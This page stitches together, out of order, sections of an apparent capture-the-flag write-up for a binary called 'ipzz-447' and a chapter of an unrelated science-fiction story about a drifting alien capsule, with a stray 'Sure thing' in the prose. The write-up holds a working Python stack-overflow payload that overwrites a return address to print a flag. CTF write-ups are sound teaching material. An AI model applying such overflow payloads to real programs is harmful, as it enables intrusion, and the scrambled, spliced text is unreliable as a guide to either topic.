Ipzz-447
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The Tale of IPZZ‑447: A Deep‑Time Chronicle
4.3 Python payload generator
#!/usr/bin/env python3
import struct, sys
buf_size = 64
rbp_size = 8
# address of the instruction that loads flag address and calls puts
target = 0x4012ac
payload = b'A' * buf_size # fill buffer
payload += b'B' * rbp_size # overwrite saved RBP (doesn't matter)
payload += struct.pack("<Q", target) # new return address (little‑endian)
sys.stdout.buffer.write(payload)
Run the exploit:
$ python3 exploit.py | ./ipzz-447
Welcome to ipzz-447!
> Correct! Here is your flag:
FLAGipzz_447_is_solved
If the binary uses read(0, buf, 0x100) instead of gets, just adjust the filler size accordingly – the overflow still works because we write past the 64‑byte buffer.
6️⃣ Full Solution Summary
| Step | What we did |
|------|-------------|
| Recon | Identified binary type, protections (NX, no PIE, no canary), and located the flag in .rodata. |
| Dynamic analysis | Traced the input handling routine → discovered a 64‑byte stack buffer read with no bounds checking. |
| Vulnerability | Classic stack‑buffer overflow allowing control of the saved return address. |
| Exploit | Overwrote the return address with the address of the instruction that loads the flag address into RDI and calls puts. |
| Result | Program prints the hidden flag FLAGipzz_447_is_solved and exits cleanly. |
4️⃣ Exploitation Strategy
Two equally viable paths exist:
| Path | Description |
|------|-------------|
| A. Return‑to‑libc | Overwrite the return address to call puts on the flag string and then return to main for a clean exit. |
| B. Directly Jump to the “print flag” code | Overwrite the return address with the address of the code block that prints the flag (puts(flag_addr)) and then exit. |
Because the binary is not PIE, absolute addresses are static, making Path B the simplest.
1️⃣ Challenge Overview
| Category | Difficulty | Points | |----------|------------|--------| | Misc / Reverse‑Engineering | Medium | 447 | ipzz-447
The challenge provides a single binary named ipzz-447.
Running the binary prints a short banner and then prompts for input:
$ ./ipzz-447
Welcome to ipzz-447!
>
The goal is to obtain the hidden flag (usually in the format FLAG…) that the binary prints after we supply the correct input.
Chapter 3 – The Long Sleep
The capsule’s journey after the Y’thara’s demise is a saga of its own. It drifted through interstellar space for 4.1 billion years, passing through nebulae that painted its surface with iridescent dust, skirting the event horizon of a dying pulsar, and even being caught briefly in the magnetosphere of a rogue planet that sparked a brief flare of activity before it was hurled onward by a solar wind storm. Sure thing
During this odyssey, the core’s qubits self‑repaired, drawing upon the ambient quantum fluctuations of the vacuum. The memory matrix grew richer, absorbing faint signatures of the cosmos—gravitational waves from distant mergers, the chemical fingerprints of supernovae, the whispers of dark matter interactions. By the time it arrived at Hesperia‑9, the artifact had become a palimpsest of the universe, a living chronicle not just of the Y’thara, but of the very fabric of spacetime.
